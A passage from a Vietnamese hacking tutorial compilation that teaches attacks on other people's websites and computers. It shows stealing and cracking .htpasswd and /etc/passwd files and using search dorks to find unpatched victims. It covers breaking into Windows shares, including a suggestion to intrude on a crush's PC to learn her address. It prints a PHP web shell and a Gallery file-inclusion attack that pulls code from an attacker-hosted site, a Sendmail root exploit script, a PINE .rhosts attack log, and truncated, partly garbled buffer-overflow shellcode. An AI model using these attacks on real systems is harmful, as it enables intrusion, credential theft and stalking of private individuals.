trực tiếp , nếu thành công tôi sẽ post lên cho các bạn ) . Lỗi là ở đây , chuyện gì sẽ
xảy ra nếu cái .htpasswd nằm ngoài thư mục bảo vệ có file .htaccess ? Ta sẽ chôm
được nó dễ dàng , bạn hãy xem link VD sau :
http://wWw.Hack.Cf Page 138
http://www.company.com/cgi-bin/protected/
hãy kiểm tra xem file .htpasswd có được bảo vệ bởI .htaccess hay không , ta nhập
URL sau :
http://www.company.com/cgi-bin/protected/.htpasswd
Nếu bạn thấy có câu trả lờI 'File not found' hoặc tương tự thì chắc chắn file này đã
không được bảo vệ , bạn hãy tìm ra nó bằng một trong các URL sau :
http://www.company.com/.htpasswd
http://www.company.com/cgi-bin/.htpasswd
http://www.company.com/cgi-bin/passwords/.htpasswd
http://www.company.com/cgi-bin/passwd/.htpasswd
nếu vẫn không thấy thì các bạn hãy cố tìm bằng các URL khác tương tự ( có thể nó
nằm ngay ở thư mục gốc đấy ) , cho đến khi nào các bạn tìm thấy thì thôi nhé .
Khi tìm thấy file này rồi , bạn hãy dùng chương trình "John the ripper" hoặc
"Crackerjack", để crack passwd cất trong đó . Công việc tiếp theo hẳn các bạn đã
biết là mình phải làm gì rồI , lấy user name và passwd hợp lệ đột nhập vào rùi xem
thử mấy cô cậu “tâm sự” những gì trong đó , nhưng các bạn cũng đừng có đổi pass
của họ hay quậy họ nhé .
Cách này các bạn cũng có thể áp dụng để lấy pass của admin vì hầu hết những
thành viên trong nhóm kín đều là “có chức có quyền” cả .
23 . ) Tìm hiểu về CGI ?
_ CGI là từ viết tắt của Common Gateway Interface , đa số các Website đều đang sử
dụng chương trình CGI ( được gọI là CGI script ) để thực hiện những công việc cần
thiết 24 giờ hằng ngày . Những nguyên bản CGI script thực chất là những chương
trình được viết và được upload lên trang Web vớI những ngôn ngữ chủ yếu là Perl , C
, C++ , Vbscript trong đó Perl được ưa chuộng nhất vì sự dễ dàng trong việc viết
chương trình ,chiếm một dung lượng ít và nhất là nó có thể chạy liên tục trong 24 giờ
trong ngày .
_ Thông thường , CGI script được cất trong thư mục /cgi-bin/ trên trang Web như VD
sau :
http://www.company.com/cgi-bin/login.cgi
với những công việc cụ thể như :
+ Tạo ra chương trình đếm số người đã ghé thăm .
+ Cho phép những ngườI khách làm những gì và không thể làm những gì trên
Website của bạn .
+ Quản lý user name và passwd của thành viên .
+ Cung cấp dịch vụ Mail .
+ Cung cấp những trang liên kết và thực hiện tin nhắn qua lại giữa các thành viên .
+ Cung cấp những thông báo lỗi chi tiết .v.v…..
http://wWw.Hack.Cf Page 139
24 . ) Cách hack Web cơ bản nhất thông qua CGI script :
_ Lỗi thứ 1 : lỗi nph-test-cgi
+ Đánh tên trang Web bị lỗi vào trong trình duyệt của bạn .
+ Đánh dòng sau vào cuốI cùng : /cgi-bin/nph-test-cgi
+ Lúc đó trên URL bạn sẽ nhìn giống như thế này :
http://www.servername.com/cgi-bin/nph-test-cgi
+ Nếu thành công bạn sẽ thấy các thư mục được cất bên trong . Để xem thư mục
nào bạn đánh tiếp :
CODE
?<tên thư mục>/*
+ file chứa passwd thường được cất trong thư mục /etc , bạn hãy đánh trên URL
dòng sau :
http://www.servername.com/cgi-bin/nph-test-cgi?/etc/*
_ Lỗi thứ 2 : lỗi php.cgi
+ Tương tự trên bạn chỉ cần đánh trên URL dòng sau để lấy pass :
http://www.servername.com/cgi-bin/php.cgi?/etc/passwd
Quan trọng là đây là những lỗi đã cũ nên việc tìm các trang Web để các bạn thực
hành rất khó , các bạn hãy vào trang google.com rồi đánh từ khoá :
/cgi-bin/php.cgi?/etc/passwd]
hoặc cgi-bin/nph-test-cgi?/etc
sau đó các bạn hãy tìm trên đó xem thử trang nào chưa fix lỗi để thực hành nhé .
25 . ) Kỹ thuật xâm nhập máy tính đang online :
_ Xâm nhập máy tính đang online là một kỹ thuật vừa dễ lạI vừa khó . Bạn có thể
nói dễ khi bạn sử dụng công cụ ENT 3 nhưng bạn sẽ gặp vấn đề khi dùng nó là tốc
độ sử dụng trên máy của nạn nhân sẽ bị chậm đi một cách đáng kể và những máy
họ không share thì không thể xâm nhập được, do đó nếu họ tắt máy là mình sẽ bị
công cốc khi chưa kịp chôm account , có một cách êm thấm hơn , ít làm giảm tốc độ
hơn và có thể xâm nhập khi nạn nhân không share là dùng chương trình DOS để tấn
công . Ok , ta sẽ bắt đầu :
_ Dùng chương trình scan IP như ENT 3 để scan IP mục tiêu .
_ Vào Start ==> Run gõ lệnh cmd .
_ Trong cửa sổ DOS hãy đánh lệnh “net view <IP của nạn nhân>”
http://wWw.Hack.Cf Page 140
CODE
+ VD : c:net view 203.162.30.xx
_ Bạn hãy nhìn kết quả , nếu nó có share thì dễ quá , bạn chỉ cần đánh tiếp lệnh
net use <ổ đĩa bất kỳ trên máy của bạn> : <ip của nạn nhân><ổ share của nạn
nhân>
+ VD : c:net use E : 203.162.30.xxC
_ Nếu khi kết nối máy nạn nhân mà có yêu cầu sử dụng Passwd thì bạn hãy
download chương trình dò passwd về sử dụng ( theo tôi bạn hãy load chương trình
“pqwak2” áp dụng cho việc dò passwd trên máy sử dụng HĐH Win98 hoặc Winme và
chương trình “xIntruder” dùng cho Win NT ) . Chú ý là về cách sử dụng thì hai
chương trình tương tự nhau , dòng đầu ta đánh IP của nạn nhân , dòng thứ hai ta
đánh tên ổ đĩa share của nạn nhân nhưng đối với “xIntruder” ta chú ý chỉnh Delay
của nó cho hợp lý , trong mạng LAN thì Delay của nó là 100 còn trong mạng Internet
là trên dướI 5000 .
_ Nếu máy của nạn nhân không có share thì ta đánh lệnh :
net use <ổ đĩa bất kỳ trên máy của bạn> : <ip của nạn nhân>c$ (hoặc
d$)"administrator"
+ VD : net use E : 203.162.30.xxC$"administrator"
Kiểu chia sẽ bằng c$ là mặc định đối với tất cả các máy USER là "administrator" .
_ Chúng ta có thể áp dụng cách này để đột nhập vào máy của cô bạn mà mình
“thầm thương trộm nhớ” để tìm những dữ liệu liên quan đến địa chỉ của cô nàng ( với
điều kiện là cô ta đang dùng máy ở nhà và bạn may mắn khi tìm được địa chỉ đó ) .
Bạn chỉ cần chat Y!Mass rồi vào DOS đánh lệnh :
c:netstat –n
Khi dùng cách này bạn hãy tắt hết các cửa sổ khác chỉ để khung chat Y!Mass với cô
ta thôi , nó sẽ giúp bạn dễ dàng hơn trong việc xác định địa chỉ IP của cô ta . Sau đó
bạn dùng cách xâm nhập mà tôi đã nói ở trên .( Có lẽ anh chàng tykhung của chúng
ta hồi xưa khi tán tỉnh cô bạn ở xa qua mạng cũng dùng cách này để đột nhập và tìm
hiểu địa chỉ của cô ta đây mà , hi`hi` . )
Bạn sẽ thành công nếu máy của nạn nhân không cài firewall hay proxy .
====================================================
Nhiều bạn có yêu cầu tôi đưa ra địa chỉ chính xác cho các bạn thực tập , nhưng tôi
không thể đưa ra được vì rút kinh nghiệm những bài hướng dẫn có địa chỉ chính xác ,
khi các bạn thực hành xong đoạt được quyền admin có bạn đã xoá cái database của
họ . Như vậy HVA sẽ mang tiếng là nơi bắt nguồn cho sự phá hoại trên mạng . mong
các bạn thông cảm , nếu có thể thì tôi chỉ nêu những cách thức để các bạn tìm
http://wWw.Hack.Cf Page 141
những dịa chỉ bị lỗi đó chứ không đưa ra địa chỉ cụ thể nào .
====================================================
Ở phần 4 tôi sẽ đề cập đến kỹ thuật chống xâm nhập vào máy tính của mình khi bạn
online , tìm hiểu sơ các bước khi ta quyết định hack một trang Web , kỹ thuật tìm ra
lỗi trang Web để thực hành , kỹ thuật hack Web thông qua lỗi Gallery.v.v…….
GOOKLUCK!!!!!!!!!
( Hết phần 3 )
Bài viết của ANHDENDAY
Đây là phần 4
26 . ) Tìm hiểu về RPC (Remote Procedure Call) :
_ Windows NT cung cấp khả năng sử dụng RPC để thực thi các ứng dụng phân tán .
Microsoft RPC bao gồm các thư viện và các dịch vụ cho phép các ứng dụng phân tán
hoạt động được trong môi trường Windows NT. Các ứng dụng phân tán chính bao
gồm nhiều tiến trình thực thi với nhiệm vụ xác định nào đó. Các tiến trình này có thể
chạy trên một hay nhiều máy tính.
_Microsoft RPC sử dụng name service provider để định vị Servers trên mạng.
Microsoft RPC name service provider phải đi liền với Microsoft RPC name service
interface (NIS). NIS bao bao gồm các hàm API cho phép truy cập nhiều thực thể
trong cùng một name service database (name service database chứa các thực thể,
nhóm các thực thể, lịch sử các thực thể trên Server).
Khi cài đặt Windows NT, Microsoft Locator tự động được chọn như là name service
provider. Nó là name service provider tối ưu nhất trên môi trường mạng Windows
NT.
27 . ) Kỹ thuật đơn giản để chống lại sự xâm nhập trái phép khi đang online thông
qua RPC (Remote Procedure Call) :
_ Nếu bạn nghi ngờ máy của mình đang có người xâm nhập hoặc bị admin remote
desktop theo dõi , bạn chỉ cần tắt chức năng remote procedure call thì hiện tại không
có chương trình nào có thể remote desktop để theo dõi bạn được . Nó còn chống
được hầu hết tools xâm nhập vào máy ( vì đa số các tools viết connect dựa trên
remote procedure call ( over tcp/ip )).Các trojan đa số cũng dựa vào giao thức này.
Cách tắt: Bạn vào service /remote procedure call( click chuột phải ) chọn starup
typt/disable hoặc manual/ apply.
Đây là cách chống rất hữu hiệu với máy PC , nếu thêm với cách tắt file sharing thì rất
khó bị hack ) ,nhưng trong mạng LAN bạn cũng phiền phức với nó không ít vì bạn sẽ
không chạy được các chương trình có liên quan đến thiết bị này . Tùy theo cách thức
bạn làm việc mà bạn có cách chọn lựa cho hợp lý . Theo tôi thì nếu dùng trong mạng
LAN bạn hãy cài một firewall là chắc chắn tương đối an toàn rồi đó .
http://wWw.Hack.Cf Page 142
( Dựa theo bài viết của huynh “Đời như củ khoai ” khoaimi – admin của HVA )
28 . ) Những bước để hack một trang web hiện nay :
_ Theo liệt kê của sách Hacking Exposed 3 thì để hack một trang Web thông thường
ta thực hiện những bước sau :
+ FootPrinting : ( In dấu chân )
Đây là cách mà hacker làm khi muốn lấy một lượng thông tin tối đa về máy
chủ/doanh nghiệp/người dùng. Nó bao gồm chi tiết về địa chỉ IP, Whois, DNS ..v.v
đại khái là những thong tin chính thức có lien quan đến mục tiêu. Nhiều khi đơn giản
hacker chỉ cần sử dụng các công cụ tìm kiếm trên mạng để tìm những thong tin đó.
+ Scanning : ( Quét thăm dò )
Khi đã có những thông tin đó rồi, thì tiếp đến là đánh giá và định danh những những
dịch vụ mà mục tiêu có. Việc này bao gồm quét cổng, xác định hệ điều hành, .v.v..
Các công cụ được sử dụng ở đây như nmap, WS pingPro, siphon, fscam và còn nhiều
công cụ khác nữa.
+ Enumeration : ( liệt kê tìm lỗ hổng )
Bước thứ ba là tìm kiếm những tài nguyên được bảo vệ kém, hoạch tài khoản người
dùng mà có thể sử dụng để xâm nhập. Nó bao gồm các mật khẩu mặc định, các
script và dịch vụ mặc định. Rât nhiều người quản trị mạng không biết đến hoặc
không sửa đổi lại các giá trị này.
+ Gaining Access: ( Tìm cách xâm nhập )
Bây giờ kẻ xâm nhập sẽ tìm cách truy cập vào mạng bằng những thông tin có được ở
ba bước trên. Phương pháp được sử dụng ở đây có thể là tấn công vào lỗi tràn bộ
đệm, lấy và giải mã file password, hay thô thiển nhất là brute force (kiểm tra tất cả
các trường hợp) password. Các công cụ thường được sử dụng ở bước này là NAT,
podium, hoặc L0pht.
+ Escalating Privileges : ( Leo thang đặc quyền )
Ví dụ trong trường hợp hacker xâm nhập đựợc vào mạng với tài khoản guest, thì họ
sẽ tìm cách kiểm soát toàn bộ hệ thống. Hacker sẽ tìm cách crack password của
admin, hoặc sử dụng lỗ hổng để leo thang đặc quyền. John và Riper là hai chương
trình crack password rất hay được sử dụng.
+ Pilfering : ( Dùng khi các file chứa pass bị sơ hở )
Thêm một lần nữa các máy tìm kiếm lại đựơc sử dụng để tìm các phương pháp truy
cập vào mạng. Những file text chứa password hay các cơ chế không an toàn khác có
thể là mồi ngon cho hacker.
+ Covering Tracks : ( Xoá dấu vết )
Sau khi đã có những thông tin cần thiết, hacker tìm cách xoá dấu vết, xoá các file
log của hệ điều hành làm cho người quản lý không nhận ra hệ thống đã bị xâm nhập
hoặc có biêt cũng không tìm ra kẻ xâm nhập là ai.
+ Creating "Back Doors" : ( Tạo cửa sau chuẩn bị cho lần xâm nhập tiếp theo được
dễ dàng hơn )
Hacker để lại "Back Doors", tức là một cơ chế cho phép hacker truy nhập trở lại bằng
con đường bí mật không phải tốn nhiều công sức, bằng việc cài đặt Trojan hay tạo
user mới (đối với tổ chức có nhiều user). Công cụ ở đây là các loại Trojan, keylog…
+ Denial of Service (DoS) : ( Tấn công kiểu từ chối dịch vụ )
Nêu không thành công trong việc xâm nhập, thì DoS là phương tiện cuối cùng để tấn
công hệ thống. Nếu hệ thống không được cấu hình đúng cách, nó sẽ bị phá vỡ và cho
phép hacker truy cập. Hoặc trong trường hợp khác thì DoS sẽ làm cho hệ thống
không hoạt động được nữa. Các công cụ hay được sử dụng để tấn công DoS là
http://wWw.Hack.Cf Page 143
trin00, Pong Of Death, teardrop, các loại nuker, flooder . Cách này rất lợi hại , và vẫn
còn sử dụng phổ biến hiện nay .
_ Tuỳ theo hiểu biết và trình độ của mình mà một hacker bỏ qua bước nào . Không
nhất thiết phảI làm theo tuần tự . Các bạn hãy nhớ đến câu “ biết người biết ta trăm
trận trăm thắng ” .
( Tài liệu của HVA và hackervn.net )
29 . ) Cách tìm các Website bị lỗi :
_ Chắc các bạn biết đến các trang Web chuyên dùng để tìm kiếm thông tin trên
mạng chứ ? Nhưng các bạn chắc cũng không ngờ là ta có thể dùng những trang đó
để tìm những trang Web bị lỗi ( Tôi vẫn thường dùng trang google.com và khuyên
các bạn cũng nên dùng trang này vì nó rất mạnh và hiệu quả ) .
_ Các bạn quan tâm đến lỗi trang Web và muốn tìm chúng bạn chỉ cần vào
google.com và đánh đoạn lỗi đó vào sau “allinurl : ” . VD ta có đoạn mã lỗi trang
Web sau :
cgi-bin/php.cgi?/etc/passwd
các bạn sẽ đánh :
“allinurl:cgi-bin/php.cgi?/etc/passwd”
Nó sẽ liệt kê ra những trang Web đang bị lỗi này cho các bạn , các bạn hãy nhìn
xuống dưới cùng của mỗi mẫu liệt kê ( dòng địa chỉ màu xanh lá cây ) nếu dòng nào
viết y chang từ khoá mình nhập vào thì trang đó đã hoặc đang bị lỗi .Các bạn có xâm
nhập vào được hay không thì cũng còn tuỳ vào trang Web đó đã fix lỗi này hay chưa
nữa .
_ Các bạn quan tâm đến lỗi forum , các bạn muốn tìm forum dạng này để thực tập ,
chỉ cần nhập từ khoá
powered by <tên forum> <số phiên bản>
VD sau là để tìm forum dùng Snitz 2000 :
powered by Snitz 2000
_ Tuy nhiên , việc tìm ra đúng forum hoặc trang Web bị lỗi theo cách đó có xác suất
không cao , bạn hãy quan tâm đến đoạn string đặc biệt trong URL đặc trưng cho
từng kiểu trang Web hoặc forum đó ( cái này rất quan trọng , các bạn hãy tự mình
tìm hiểu thêm nhé ) . VD tìm với lỗi Hosting Controller thì ta sẽ có đoạn đặc trưng
sau
"/admin hay /advadmin hay /hosting"
ta hãy đánh từ khoá :
allinurl:/advadmin
hoặc allinurl:/admin
http://wWw.Hack.Cf Page 144
hoặc allinurl:/hosting
Nó sẽ liệt kê ra các trang Web có URL dạng :
http://tentrangweb.com/advadmin
hoặc http://tentrangweb.com/admin
hoặc http://tentrangweb.com/hosting
VD với forum UBB có đoạn đặc trưng
"cgi-bin/ultimatebb.cgi?"
Ta cũng tìm tương tự như trên .
Chỉ cần bạn biết cách tìm như vậy rồi thì sau này chỉ cần theo dõi thông tin cập nhật
bên trang “Lỗi bảo mật” của HVA do bạn LeonHart post hằng ngày các bạn sẽ hiểu
được ý nghĩa của chúng và tự mình kiểm tra .
30 . ) Kỹ thuật hack Web thông qua lỗi Gallery ( một dạng của lỗi php code inject ):
_ Gallery là một công cụ cho phép tạo một gallery ảnh trên web được viết bằng PHP ,
lợi dụng sơ hở này ta có thể lợi dụng để viết thêm vào đó một mã PHP cho phép ta
upload , đó chính là mục đích chính của ta .
_ Trước hết bạn hãy đăng ký một host miễn phí , tốt nhất là bạn đăng ký ở
brinkster.com cho dễ . Sau đó bạn mở notepad và tạo file PHP với đoạn mã sau :
CODE
<?php
global $PHP_SELF;
echo "<html><body>
<form method=post action=$PHP_SELF?$QUERY_STRING>
<input type=text name=shell size=40>
<input type=hidden name=act value=shell>
<input type=submit value=Go name=sm>
</form>";
set_magic_quotes_runtime(1);
if ($act == "shell") {
echo "nnnnnnnnnnnnnnnnnnnnnnnn<xmp>";
system($shell);
echo "</xmp>nnnnnnnnnnnnnnnnnnnnnnnn";}
echo "</body></html>";
?>
Đoạn mã này bạn hãy tạo làm 2 file có tên khác nhau ( nhưng cùng chung một mã )
và đặt tên là :
+ shellphp.php : file này dùng để chạy shell trên victim host .
+ init.php : file này dùng để upload lên trang có host bạn vừa tạo . ( Bạn hãy upload
file init.php này lên sớm vì ta sẽ còn sử dụng nó nhưng với đoạn mã khác , bạn quên
upload file này lên là tiêu )
http://wWw.Hack.Cf Page 145
Bạn hãy tạo thêm một file PHP với mã sau :
CODE
<?php
function handleupload() {
if (is_uploaded_file($_FILES['userfile']['tmp_name'])) {
$filename = $_FILES['userfile']['tmp_name'];
print "$filename was uploaded successfuly";
$realname = $_FILES['userfile']['name'];
print "realname is $realnamen";
print "copying file to uploads dir ".$realname;
copy($_FILES['userfile']['tmp_name'],*PATH*.$realname); [B]// lưu ý *PATH* chúng
ta sẽ thay đổi sau[/B]
} else {
echo "Possible file upload attack: filename".$_FILES['userfile']['name'].".";
}
}
if ($act == "upload") {
handleupload();
}
echo "<html><body>
<form ENCTYPE=multipart/form-data method=post
action=$PHP_SELF?$QUERY_STRING>
File:<INPUT TYPE=FILE NAME=userfile SIZE=35>
<input type=hidden name=MAX_FILE_SIZE value=1000000>
<input type=hidden name=act value=upload>
<input type=submit value=Upload name=sm>
</form>
</body></html>";
?>
Bạn hãy đặt tên là upload.php , nó sẽ dùng để upload lên trang Web của nạn nhân .
_ Tiếp theo Bạn vào Google, gõ "Powered by gallery" rồi enter, Google sẽ liệt kê một
đống những site sử dụng Gallery , bạn hãy chọn lấy một trang bất kỳ rồI dùng link
sau để thử xem nó còn mắc lỗI Gallery hay không :
http://<tên trang Web của nạn
nhân>/gallery./captionator.php?GALLERY_BASEDIR=http://wwwxx.brinkster.com/<t
ên host bạn vừa đăng ký>/
Nếu bạn thấy hiện lên một ô hình chữ nhật ở phía trên cùng , bên phải của nó là ô
lệnh chuyển tiếp có chữ “Go” là coi như bạn đã tìm thấy được đốI tượng rồi đó . Bây
giờ bạn đã có thể gõ lệnh thông qua ô chữ nhật đó để hack Web của nạn nhân .
Trước hết bạn hãy gõ lệnh “pwd” để xác định đường dẫn tuyệt đối đến thư mục hiện
thời rồi nhấn nút “Go” , khi nó cho kết quả bạn hãy nhanh chóng ghi lại đường dẫn ở
phía dướI ( Tôi sẽ sử dụng VD đường dẫn tôi tìm thấy là “/home/abc/xyz/gallery” ).
Sau đó bạn đánh tiếp lệnh “|s –a|” để liệt kê các thư mục con của nó . Bây giờ bạn
hãy nhìn kết quả , bạn sẽ thấy một đống các thư mục con mà ta đã liệt kê . Bạn hãy
luôn nhớ là mục đích của chúng ta là tìm một thư mục có thể dùng để upload file
http://wWw.Hack.Cf Page 146
upload.php mà ta đã chuẩn bị từ trước do đó bạn hãy xác định cùng tôi bằng cách
nhìn vào những chữ cuốI cùng của mỗi hàng kết quả :
+ Bạn hãy loại bỏ trường hợp các thư mục mà có dấu “.” hoặc “..” vì đây là thư mục
gốc hoặc là thư mục ảo ( Nó thường được xếp trên cùng của các hàng kết quả ) .
+ Bạn cũng loạI bỏ những hàng có chữ cuối cùng có gắn đuôi ( VD như config.php ,
check.inc .v.v… ) vì đây là những file chứ không phải là thư mục .
+ Còn lại là những thư mục có thể upload nhưng tôi khuyên bạn nên chọn những
hàng chứa tên thư mục mà có chứa số lớn hơn 1 ( Bạn có thể xác định được chúng
bằng cách nhìn cột thứ 2 từ trái sang ) , vì như vậy vừa chắc chắn đây là thư mục
không phải thư mục ảo , vừa làm cho admin của trang Web đó khó phát hiện khi ta
cài file của ta vào . Tôi VD tôi phát hiện ra thư mục “loveyou” có chứa 12 file có thể
cho ta upload , như vậy đường dẫn chính thức mà ta upload lên sẽ là :
/home/abc/xyz/Gallery/loveyou
Bây giờ bạn hãy vào account host của bạn, sửa nội dung file init.php giống như mã
của file upload.php, nhưng sửa lại *PATH* thành “/home/abc/xyz/gallery/loveyou/ ”.
Đồng thời cũng chuẩn bị một file upload.php trên máy của bạn với *PATH* là “” ( 2
dấu ngoặc kép ).
Bây giờ là ta đã có thể upload file upload.php lên trang Web của nạn nhân được rồi ,
bạn hãy nhập địa chỉ sau trên trình duyệt Web của bạn :
http://<tên trang Web của nạn
nhân>/gallery./captionator.php?GALLERY_BASEDIR=http://wwwxx.brinkster.com/<t
ên trang Host bạn đã tạo từ đầu>/
Bạn sẽ thấy xuất hiện tiếp một khung hình chữ nhật và bên cạnh là có 2 nút lệnh ,
một là nút “brown” , một là nút “upload” . Nút “brown” bạn dùng để dẫn đến địa chỉ
file upload.php bạn đã chuẩn bị trên máy của bạn , nút “upload” khi bạn nhấn vào đó
thì nó sẽ upload file upload.php lên trang Web của nạn nhân . Ok , bây giờ coi như
bạn đã hoàn thành chặng đường hack Web rồi đó . Từ bây giờ bạn hãy vận dụng để
tấn công đối thủ như lấy database , password ( làm tương tự như các bài hướng dẫn
hack trước ) , nhưng các bạn chỉ nên thực tập chứ đừng xoá database hay phá Web
của họ. Nếu là một hacker chân chính các bạn chỉ cần upload lên trang Web dòng
chữ : “Hack by ……..” là đủ rồi .
Cũng như những lần trước , các bạn có thành công hay không cũng tuỳ thuộc vào sự
may mắn và kiên trì nghiên cứu vận dụng kiến thức của các bạn .
( Dựa theo hướng dẫn hack của huynh vnofear – viethacker.net )
GOOKLUCK!!!!!!!!!!!!
( Hết phần 4 )
Bài viết của ANHDENDAY
http://wWw.Hack.Cf Page 147
Lấy Password File bằng FTP
(Đây là đồ cổ của HVA)
Ok, cách dễ nhất để lấy superuser access là bằng anonymous ftp access vào trong
trang web. Đầu tiên bạn cần biết một ít về password files...
[quote]
root:User:d7Bdg:1n2HG2:1127:20:Superuser
TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh
BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh
[/quote]
Đây là 1 thí dụ của một password files mã hóa bình thường. Superuser là một trong
những cách để vào root. Đây là phần chính của file:
[quote]
root:x:0:1:Superuser:/:
ftp:x:202:102:Anonymous ftp:/u1/ftp:
ftpadmin:x:203:102:ftp Administrator:/u1/ftp
[/quote]
Đây là 1 thí dụ khác về password file, chỉ khác một chỗ, nó được shadowed (xin lỗi,
không biết dịch làm sao ). Shadowed password files không cho xem hay copy file
password được mã hóa. Nó gây khó khăn cho chương trình phá password và tạo
dictionary. Đây là 1 thí dụ về shadowed password file:
[quote]
root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:PinPaper
Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false
ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false
[/quote]
Shadowed password files có chữ "x" trước password hoặc đôi khi là "*".
Bây giờ bạn đã biết nhiều hơn một chút về password file, bạn có thể định ra phần pw
http://wWw.Hack.Cf Page 148
mã hóa bình thường từ shadowed pw file. Bây giờ chúng ta sẽ nói về bẻ nó.
Bẻ password cũng không quá phức tạp, mặc dù các files khác nhau đối với mỗi hệ
thống.
1. Đầu tiên phải có password file bằng cách download hay copy nó.
2. Kế tiếp tìm chương trình crack password và chương trình tạo dictionary. Có thể nói
gần như không thể tìm chương trình crack nhưng cũng có thể có vài cái tốt. Bạn nên
dùng Cracker Jack, John the Ripper, Brute Force Cracker, hoặc Jack the Ripper. Bây
giờ phải có chương trình tạo dictionary hoặc dictionary file... Khi chạy chương trình
bẻ khóa sẽ hỏi bạn password file. Bạn dùng chương trình tạo dictionary để tạo. Bạn
có thể tải ở hầu như tất cả các trang hacker. Chương trình tạo dictionary tất cả các
cách có thể để ghép các ký tự do bạn chọn (ASCII, caps, lowercase, hoặc số).
3. Chạy chương trình crack, làm theo các hướng dẫn.
Kỹ thuật PHF
Kỹ thuật PHF là cách dễ nhất để lấy password files (mặc dù không hoạt động trong
hơn 95% trường hợp). Để thực hiện chỉ cần nhập vào browser:
[quote]
http://webpage_goes_here/cgi-bin/phf?Qalia...t%20/etc/passwd
[/quote]
Thay thế webpage_goes_here với tên của trang. Thí dụ bạn muốn lấy pw file trong
www.webpage.com thì bạn đánh:
[quote]
http://www.webpage.com/cgi-bin/phf?Qalias=...t%20/etc/passwd
[/quote]
là xong! Chỉ việc ngồi chờ và copy (nếy nó hoạt động).
Telnet và khai thác điểm yếu (exploits)
Tốt nhất là bạn nên có 1 account trên trang muốn tấn công (nếu có thể) và xem xét
kỹ trang đó. Những lỗ hổng bảo mật hay lỗi trong hệ hống thường cho phép bạn xâm
nhập vào root. Có nhiều lỗ hổng khác nhau và bạn có thể xét riêng lẻ chúng. Tôi liệt
kê một số lỗ hổng.
Lỗ hổng này là Sendmail v.8.8.4
Nó tạo một chương trình ở /tmp/x và có thể chạy như root. Đây là cách set up nó:
[quote]
cat << _EOF_ >/tmp/x.c
#define RUN "/bin/ksh"
#include<stdio.h>
main()
{
execl(RUN,RUN,NULL);
}
http://wWw.Hack.Cf Page 149
_EOF_
#
cat << _EOF_ >/tmp/spawnfish.c
main()
{
execl("/usr/lib/sendmail","/tmp/smtpd",0);
}
_EOF_
#
cat << _EOF_ >/tmp/smtpd.c
main()
{
setuid(0); setgid(0);
system("chown root /tmp/x ;chmod 4755 /tmp/x");
}
_EOF_
#
#
gcc -O -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
#
/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -
f1`
rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
echo "leet..."
/tmp/x
fi
[/quote]
Và đây là một lỗ hổng khá. Tôi sẽ chỉ ra cách lợi dụng lỗ hổng PINE bằng Linux. Bằng
cách xem process table bằng ps để biết user nào chạy PINE, sau đó thực hiện lệnh ls
in /tmp/ để thu thập lockfile names cho mỗi user. Xem process table một lần nữa sẽ
hiện ra mỗi user thoát PINE hoặc xem message trong INBOX.
Tạo link từ /tmp/.hamors_lockfile tới ~hamors/.rhosts sẽ làm cho PINE tạo
~hamors/.rhosts là file dạng 666 với nội dung là PINE's process id. Bây giờ có thể
dùng lệnh echo "+ +" > /tmp/.hamors_lockfile, sau đó rm /tmp/.hamors_lockfile.
Thí dụ, hamors là nạn nhân và catluvr tấn công:
[Quote ]
hamors (21 19:04) litterbox:~> pine
catluvr (6 19:06) litterbox:~> ps -aux | grep pine
catluvr 1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine
http://wWw.Hack.Cf Page 150
hamors 1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine
catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors
- -rw-rw-rw- 1 hamors elite 4 Aug 26 19:05 .302.f5a4
catluvr (8 19:07) litterbox:~> ps -aux | grep pine
catluvr 1744 0.0 1.8 100 356 pp3 S 19:08 0:00 grep pine
catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4
hamors (23 19:09) litterbox:~> pine
catluvr (11 19:10) litterbox:~> ps -aux | grep pine
catluvr 1759 0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine
hamors 1756 2.7 5.1 226 992 pp2 S 19:10 0:00 pine
catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4
catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4
+ +
catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4
catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors
[/quote]
Tiếp theo là lỗ hổng của lỗi ppp. Lỗi này trên FreeBSD. Đây là cách set up nó:
[Quote ]
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define BUFFER_SIZE 156 /* size of the bufer to overflow */
#define OFFSET -290 /* number of bytes to jump after the start
of the buffer */
long get_esp(void) { ("movl %esp,%eaxn"); }
main(int argc, char *argv[])
{
char *buf = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
char execshell[] =
"xebx23x5ex8dx1ex89x5ex0bx31xd2x89x56x07x89x56x0f" /* 16
bytes */
"x89x56x14x88x56x19x31xc0xb0x3bx8dx4ex0bx89xcax52" /* 16
http://wWw.Hack.Cf Page 151
bytes */
"x51x53x50xebx18xe8xd8xffxffxff/bin/shx01x01x01x01" /* 20 bytes */
